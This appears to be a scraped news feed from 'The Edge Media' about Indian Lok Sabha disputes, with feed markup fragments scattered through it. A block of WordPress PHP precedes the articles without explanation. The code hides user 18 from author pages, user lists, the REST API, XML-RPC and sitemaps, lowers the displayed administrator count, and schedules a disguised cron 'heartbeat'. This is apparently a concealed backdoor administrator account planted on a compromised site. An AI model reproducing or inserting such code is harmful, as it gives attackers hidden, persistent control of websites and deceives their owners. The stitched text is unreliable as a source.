add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Opposition Moves No-Confidence Motion Against Lok Sabha Speaker Om Birla appeared first on The Edge Media.
]]>The opposition has leveled serious allegations against the Speaker, primarily focusing on the suppression of the Leader of the Opposition’s voice during the Motion of Thanks on the President’s Address and the forced suspension of eight members. In response to these developments, sources indicate that Om Birla has decided on ethical grounds not to occupy the Speaker’s chair until the matter is resolved.
The Lok Sabha Secretariat has confirmed that proceedings will follow established rules. The notice was handed over to Secretary General Utpal Kumar Singh by a delegation including Congress Deputy Leader Gaurav Gogoi, Chief Whip K. Suresh, and MP Mohammad Javed, among others. While members from the Congress, SP, DMK, and RJD have signed the notice, notable absences include the signatures of Rahul Gandhi and members of the TMC.
Four Major Allegations by the Opposition:
* February 2: Opposition leader Rahul Gandhi was allegedly prevented from completing his speech during the Motion of Thanks on the President’s Address.
* February 3: Eight MPs were suspended for the remainder of the session, a move the opposition describes as punishment for exercising democratic rights.
* Nishikant Dubey Case: The notice mentions objectionable remarks made against former Prime Ministers without naming Nishikant Dubey.
* Misuse of Office: The opposition rejected the Speaker’s claim that Congress members intended to cause an “untoward incident” near the Prime Minister’s seat, calling such accusations a blatant misuse of a constitutional position.
The post Opposition Moves No-Confidence Motion Against Lok Sabha Speaker Om Birla appeared first on The Edge Media.
]]>The post Eight Opposition MPs Suspended from Lok Sabha After Protests Over Rahul Gandhi Being Barred appeared first on The Edge Media.
]]>The suspended MPs include seven members from the Congress and one from the Communist Party of India Marxist. The action was taken after protests erupted when Leader of Opposition Rahul Gandhi was disallowed for the second consecutive day from quoting an article that referred to excerpts from an unpublished memoir of former Army chief General M M Naravane related to the 2020 India China conflict.
According to the Chair, the MPs attempted to climb onto the table of the Secretary General, tore official papers and hurled them towards the Chair, actions that were deemed a serious breach of parliamentary decorum.
Leader of Opposition Rahul Gandhi later wrote to Lok Sabha Speaker Om Birla, expressing strong objection to being prevented from speaking on what he described as an issue of national security. In his letter, Gandhi argued that established parliamentary convention allows members to cite documents once they authenticate them and take responsibility for their contents, a requirement he said he had fulfilled.
On Tuesday, as Gandhi rose to speak on the Motion of Thanks to the President’s Address, he authenticated the copy of the article and offered to table it for examination. However, Parliamentary Affairs Minister Kiren Rijiju maintained that the Speaker had already issued a ruling on the matter and insisted that it should not be repeatedly raised.
As protests continued and several Opposition MPs refused to speak in solidarity with Gandhi, the proceedings were disrupted multiple times. When the House reconvened in the afternoon, eight MPs were formally named by the Chair. Rijiju subsequently moved a resolution seeking their suspension for the remainder of the session, citing disregard for the authority of the House and the Chair.
The resolution was passed by voice vote amid continued uproar, leading to the adjournment of the House for the day.
The suspended MPs are Gurjeet Singh Aujla, Hibi Eden, C Kiran Kumar Reddy, Amarinder Singh Raja Warring, Manickam Tagore, Prashant Padole and Dean Kuriakose from the Congress, and S Venkatesan from the CPI Marxist.
Following the suspension, Congress MPs staged a protest outside the Parliament complex. Several Opposition leaders described the action as an attack on democratic values and accused the ruling party of deliberately preventing the Leader of Opposition from raising uncomfortable questions in the House.
The post Eight Opposition MPs Suspended from Lok Sabha After Protests Over Rahul Gandhi Being Barred appeared first on The Edge Media.
]]>The post Parliament Paralysis: Monsoon Session Loses 84 Hours to Unprecedented Disruptions appeared first on The Edge Media.
]]>
The month-long session, which began on July 21, held 21 sittings but managed just 37 hours and 7 minutes of effective business, according to the Lok Sabha Secretariat. Speaker Om Birla revealed that all parties had initially agreed to 120 hours of discussions, but planned protests and political standoffs crippled proceedings.
Despite the chaos, the government managed to push through 14 Bills and secure passage of 12 key legislations, including the Promotion and Regulation of Online Gaming Bill, 2025, the Mines and Minerals (Development and Regulation) Amendment Bill, 2025, and the National Sports Governance Bill, 2025.
Parliamentary Affairs Minister Kiren Rijiju described the session as “successful and fruitful for the government but disastrous for the Opposition”, accusing rival parties of deliberately stalling the House.
The Opposition, however, countered by blaming the government’s “authoritarian attitude” for the persistent deadlock. With tensions running high, analysts warn that this growing legislative gridlock threatens India’s policy-making pace.
As the Monsoon session sets a controversial record, questions loom over Parliament’s ability to function effectively amid deepening political divides.
The post Parliament Paralysis: Monsoon Session Loses 84 Hours to Unprecedented Disruptions appeared first on The Edge Media.
]]>